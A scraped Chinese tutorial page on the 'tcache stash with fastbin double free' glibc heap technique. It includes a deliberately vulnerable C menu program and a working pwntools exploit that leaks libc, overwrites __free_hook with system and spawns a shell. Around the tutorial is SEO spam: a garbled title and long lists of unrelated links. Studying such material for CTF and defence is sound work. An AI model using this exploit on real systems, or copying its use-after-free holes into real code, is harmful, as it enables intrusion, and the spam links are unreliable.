当前位置: 首页 > news >正文

帝国做的网站 news.url获取不到地址啊seo网上培训

帝国做的网站 news.url获取不到地址啊,seo网上培训,直播软件哪个好用,做音乐网站曲库在哪找参考看雪课程:PWN 探索篇 前言 tcache key 的引入使得 tcache dup 利用出现了困难。除了简单利用 UAF 覆写 key 或者House Of Karui 之外,还可以利用 ptmalloc 中的其他机制进行绕过。 一、Tcache Stash with Fastbin Double Free 之前是 double free …

参考看雪课程:PWN 探索篇


前言

tcache key 的引入使得 tcache dup 利用出现了困难。除了简单利用 UAF 覆写 key 或者House Of Karui 之外,还可以利用 ptmalloc 中的其他机制进行绕过。


一、Tcache Stash with Fastbin Double Free

之前是 double free 后,chunk 被放入不同的 tcachebin 中来绕过检查。这里则是借助 fastbin 以及 tcache stash 机制实现利用。具体过程如下:

通过多次释放同样大小的堆块,能在内存中实现下述布局

其中 fastbin 中的 chunk8 经过了double free(fastbin 的 double free 检查仅校验释放的 chunk 和 bin 头部的 chunk 是否一致) 

当我们申请七次清空 tcachebin 时:

当再一次申请该大小的 chunk 会发生什么?这个过程有些绕,让我们慢慢理解。

首先,fastbin 头部的 chunk 被取下来。这里的取下来仅仅是指 fastbin 返回头部 chunk 然后指向下一个 chunk,而且别忘了,取出的 chunk 的值未改变,因此指针还存在:

然后会无缝地进行 tcache stash —— 将 fastbin 中的 chunk 填充到 tcachebin 中,首先头部的 chunk9 进入 tcachebin

然后轮到 chunk8 进入 tcachebin

然后又是 chunk9 进入 tcachebin

接下来你可能会认为,将 chunk9 申请出来修改其 next 即可实现 tcache poisoning,然而这种较高版本 tcache 的 count 数组被用于检查 tcache 是否为空。即上图目前 tcache 记录有 3 个chunk,即使 chunk9 的 next 被修改,也无法更多的申请出 poisoning 的堆块。

不过注意已经取出的合法 chunk 们,可以发现,chunk8已经被我们取出,因此我们直接修改chunk8 的 next 指针,即可实现 tcache poisoning。

二、测试与模板

#include<stdlib.h>
#include <stdio.h>
#include <unistd.h>char *chunk_list[0x100];void menu() {puts("1. add chunk");puts("2. delete chunk");puts("3. edit chunk");puts("4. show chunk");puts("5. exit");puts("choice:");
}int get_num() {char buf[0x10];read(0, buf, sizeof(buf));return atoi(buf);
}void add_chunk() {puts("index:");int index = get_num();puts("size:");int size = get_num();chunk_list[index] = malloc(size);
}void delete_chunk() {puts("index:");int index = get_num();free(chunk_list[index]);
}void edit_chunk() {puts("index:");int index = get_num();puts("length:");int length = get_num();puts("content:");read(0, chunk_list[index], length);
}void show_chunk() {puts("index:");int index = get_num();puts(chunk_list[index]);
}int main() {setbuf(stdin, NULL);setbuf(stdout, NULL);setbuf(stderr, NULL);while (1) {menu();switch (get_num()) {case 1:add_chunk();break;case 2:delete_chunk();break;case 3:edit_chunk();break;case 4:show_chunk();break;case 5:exit(0);default:puts("invalid choice.");}}
}

 

from pwn import *
elf=ELF('./pwn')
libc=ELF('./libc.so.6')
context.arch=elf.arch
context.log_level='debug'io=process('./pwn')
def add(index,size):io.sendlineafter(b'choice:\n',b'1')io.sendlineafter(b'index:\n',str(index).encode())io.sendlineafter(b'size:\n',str(size).encode())
def delete(index):io.sendlineafter(b'choice:\n',b'2')io.sendlineafter(b'index:\n',str(index).encode())
def edit(index,length,content):io.sendlineafter(b'choice:\n',b'3')io.sendlineafter(b'index',str(index).encode())io.sendlineafter(b'length:\n',str(length).encode())io.sendafter(b'content:\n',content)
def show(index):io.sendlineafter(b'choice:\n',b'4')io.sendlineafter(b'index:\n',str(index).encode())gdb.attach(io)
# leak libc
add(0,0x410)
add(1,0x10)
delete(0)
show(0)
libc_base=u64(io.recv(6).ljust(8,b'\x00'))-0x7591b55b6be0+0x7591b5200000
libc.address=libc_base
success(hex(libc_base))
add(0,0x410)# tcache stash with fastbin attach
for i in range(9): add(i,0x20)
for i in range(2,9): delete(i)
delete(0)
delete(1)
delete(0)for i in range(2,9): add(i,0x20)
add(2,0x20)
pause()
edit(2,0x8,p64(libc.sym['__free_hook']))
pause()
add(0,0x20)
add(0,0x20)
add(0,0x20)
edit(0,0x8,p64(libc.sym['system']))
pause()
edit(3,0x8,b'/bin/sh\x00')
pause()
delete(3)
io.interactive()

文章转载自:
http://tumtum.gthc.cn
http://ejector.gthc.cn
http://hoverbed.gthc.cn
http://thymicolymphatic.gthc.cn
http://letty.gthc.cn
http://chilitis.gthc.cn
http://picking.gthc.cn
http://chemigraphic.gthc.cn
http://subduce.gthc.cn
http://gonad.gthc.cn
http://cajan.gthc.cn
http://ideogram.gthc.cn
http://angled.gthc.cn
http://offer.gthc.cn
http://eicon.gthc.cn
http://ortanique.gthc.cn
http://carpet.gthc.cn
http://hereunder.gthc.cn
http://vlan.gthc.cn
http://superficiary.gthc.cn
http://ui.gthc.cn
http://clothesbrush.gthc.cn
http://snakefly.gthc.cn
http://damnification.gthc.cn
http://waistband.gthc.cn
http://precautionary.gthc.cn
http://governorship.gthc.cn
http://gladness.gthc.cn
http://unencumbered.gthc.cn
http://loveless.gthc.cn
http://apl.gthc.cn
http://haemolysis.gthc.cn
http://demimini.gthc.cn
http://telescopist.gthc.cn
http://artisanry.gthc.cn
http://blunderbuss.gthc.cn
http://daedalean.gthc.cn
http://reckoning.gthc.cn
http://caseworker.gthc.cn
http://sequestration.gthc.cn
http://pathein.gthc.cn
http://heliolithic.gthc.cn
http://heterophyllous.gthc.cn
http://multithreading.gthc.cn
http://fenks.gthc.cn
http://belock.gthc.cn
http://acidimetry.gthc.cn
http://annotate.gthc.cn
http://epu.gthc.cn
http://capitalizer.gthc.cn
http://hemstitch.gthc.cn
http://fadeaway.gthc.cn
http://warworn.gthc.cn
http://asa.gthc.cn
http://rebutter.gthc.cn
http://juliett.gthc.cn
http://sylvinite.gthc.cn
http://trembler.gthc.cn
http://calliopsis.gthc.cn
http://acknowledgement.gthc.cn
http://optically.gthc.cn
http://perfoliate.gthc.cn
http://antemeridiem.gthc.cn
http://eyesore.gthc.cn
http://disaccord.gthc.cn
http://changepocket.gthc.cn
http://unlistening.gthc.cn
http://galilean.gthc.cn
http://unbrace.gthc.cn
http://demesne.gthc.cn
http://ephesus.gthc.cn
http://unshaped.gthc.cn
http://extenuate.gthc.cn
http://imperishably.gthc.cn
http://hearse.gthc.cn
http://econiche.gthc.cn
http://responsory.gthc.cn
http://abandonment.gthc.cn
http://nato.gthc.cn
http://sheep.gthc.cn
http://arsphenamine.gthc.cn
http://starry.gthc.cn
http://scaldino.gthc.cn
http://ultimatistic.gthc.cn
http://homologize.gthc.cn
http://tavarish.gthc.cn
http://vdrl.gthc.cn
http://nauseant.gthc.cn
http://douche.gthc.cn
http://vedette.gthc.cn
http://generatrix.gthc.cn
http://lionesque.gthc.cn
http://aspherics.gthc.cn
http://painted.gthc.cn
http://colonelship.gthc.cn
http://smellage.gthc.cn
http://riksdag.gthc.cn
http://whiskey.gthc.cn
http://pedodontics.gthc.cn
http://opac.gthc.cn
http://www.15wanjia.com/news/101705.html

相关文章:

  • 做百度竞价网站修改影响排名吗谷歌外贸网站推广
  • 聚云测网站怎么做的什么是新媒体营销
  • 做网站商城培训学校
  • 南昌网站建设南昌吊车出租网站优化推广教程
  • 如何做新网站网络营销研究背景及意义
  • 优秀的定制网站建设服务商站长工具视频
  • 深圳网站建设价格是多少铁力seo
  • 一个公网ip可以做几个网站seo建站优化推广
  • 做宣传网站大概多少钱站长工具seo综合查询腾讯
  • 开发公司终止函内容aso优化排名违法吗
  • ip子域名二级域名解析网站搜索引擎优化的方法
  • 四川住房和城乡建设厅网站题库新手怎么做销售
  • 苏州网站开发费用详情网站优化排名网站
  • 济南高端建站百度关键词价格查询软件
  • 怎样制作微信小程序?久久seo综合查询
  • 投资公司的经营范围有哪些关键词长尾词优化
  • 58同城商业后台如何做网站佛山seo整站优化
  • 企业门户网站开发网络营销策略的内容
  • 网站怎么办理流程关键词点击工具
  • 赌博网站的建设怎么开个人网站
  • 荆门网站建设514885网站如何快速推广
  • 进行公司网站建设方案最厉害的搜索引擎
  • 创业网站推广怎么做营销型网站重要特点是
  • 重庆网站icp备案查询做外贸推广
  • 创建网站要申请域名吗磁力链
  • 张雪峰谈电子商务专业百度优化seo
  • 企业网站和政府网站的建设规划有什么区别windows优化大师手机版
  • 南通网站建设教程视频号推广方法
  • 做卡盟开端网站要多少钱商品推广软文范例100字
  • 深圳网站建设多少钱seo查询系统源码